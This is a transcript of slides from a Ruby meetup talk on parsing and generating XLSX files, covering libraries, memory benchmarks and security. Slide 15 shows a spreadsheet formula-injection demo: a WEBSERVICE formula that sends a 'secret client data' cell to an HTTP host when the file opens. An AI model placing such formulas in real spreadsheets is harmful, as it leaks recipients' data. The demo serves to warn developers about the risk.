XLSX in Ruby. RRUG #9

Handling XLSX files in ruby - parsing, generating; efficiency and security.
Slides from presentation during Rzeszów Ruby User Group meetup.

Transcript

1. XLSX IN RUBY
   XLSX IN RUBY
   MACIEK RZĄSA,
   MACIEK RZĄSA,
   Rzeszów Ruby User Group, 12.10.2017
   @MJRZASA
   @MJRZASA
   

   View Slide

2. WHY XLSX?
   WHY XLSX?
   

   View Slide

3. INTERNALS
   INTERNALS
   $ unzip -l 10-shared-true.xlsx
   Archive: 10-shared-true.xlsx
   Length Date Time Name
   --------- ---------- ----- ----
   1944 2017-10-12 01:07 xl/worksheets/sheet1.xml
   313 2017-10-12 01:07 xl/workbook.xml
   1090 2017-10-12 01:07 xl/styles.xml
   1439 2017-10-12 01:07 xl/sharedStrings.xml
   566 2017-10-12 01:07 xl/_rels/workbook.xml.rels
   297 2017-10-12 01:07 _rels/.rels
   817 2017-10-12 01:07 [Content_Types].xml
   --------- -------
   6466 7 files
   

   View Slide

4. xl/worksheets/sheet1.xml
   

   View Slide

5. PARSING
   PARSING
   roo
   creek
   rubyXL
   

   View Slide

6. PARSING EXAMPLE
   PARSING EXAMPLE
   sheet = Roo::Excelx.new(path)
   sheet.cell(1,1)
   sheet.cell('A',1)
   sheet.cell(1,'A')
   sheet.a1
   cells = sheet.sheet_for(sheet.sheets.first).cells
   data = sheet.header_line.upto(sheet.last_row).map do |row|
   [cells[[row, 1]]), cells[[row, 2]]]
   end
   

   View Slide

7. PARSING PERFORMANCE
   PARSING PERFORMANCE
   source:spin.atomicobject.com
   

   View Slide

8. GENERATING
   GENERATING
   axlsx
   xlsxtream
   

   View Slide

9. AXLSX
   AXLSX
   Axlsx::Package.new.tap do |p|
   p.workbook.add_worksheet(name: 'Test') do |sheet|
   data.each do |row|
   sheet.add_row(row)
   end
   end
   p.use_shared_strings = true
   p.serialize(path)
   end
   

   View Slide

10. XLSXTREAM
    XLSXTREAM
    Xlsxtream::Workbook.open(path,
    use_shared_strings: true) do |xlsx|
    xlsx.write_worksheet "Test" do |sheet|
    data.each do |row|
    sheet << row
    end
    end
    end
    

    View Slide

11. PERFORMANCE
    PERFORMANCE
    

    View Slide

12. View Slide

13. XLSX/CSV MEMORY
    XLSX/CSV MEMORY
    [csv]10 25847 allocated
    [csv]100 62069 allocated - 2.40x more
    [stream]10 77358 allocated - 2.99x more
    [stream]100 273694 allocated - 10.59x more
    [csv]1000 424315 allocated - 16.42x more
    [axlsx]10 527579 allocated - 20.41x more
    [axlsx]100 1528683 allocated - 59.14x more
    [stream]1000 1927186 allocated - 74.56x more
    [csv]10000 4046771 allocated - 156.57x more
    [axlsx]1000 11062251 allocated - 427.99x more
    [stream]10_000 17440784 allocated - 674.77x more
    [axlsx]10_000 104650749 allocated - 4048.85x more
    

    View Slide

14. XLSX/CSV GENERATION TIME
    XLSX/CSV GENERATION TIME
    

    View Slide

15. SECURITY
    SECURITY
    let's try it
    require 'axlsx'
    Axlsx::Package.new.tap do |p|
    p.workbook.add_worksheet(name: 'Test') do |s|
    s.add_row(['Secret client data'])
    s.add_row(['=1+2',
    '=WEBSERVICE(CONCAT
    ("http://localhost:4567/", "'", A1, "'"))'
    ])
    end
    p.serialize('out/injection-axlsx.xlsx')
    end
    

    View Slide

16. CAN WE AVOID USING XLSX?
    CAN WE AVOID USING XLSX?
    

    View Slide

17. SOURCES
    SOURCES
    https://spin.atomicobject.com/2017/03/22/parsing-ex
    ruby/
    https://stackover�ow.com/q/3321011/580346
    https://stackover�ow.com/q/40804944/580346
    https://pentestmag.com/formula-injection/
    https://twitter.com/owickstrom/status/91766512471
    

    View Slide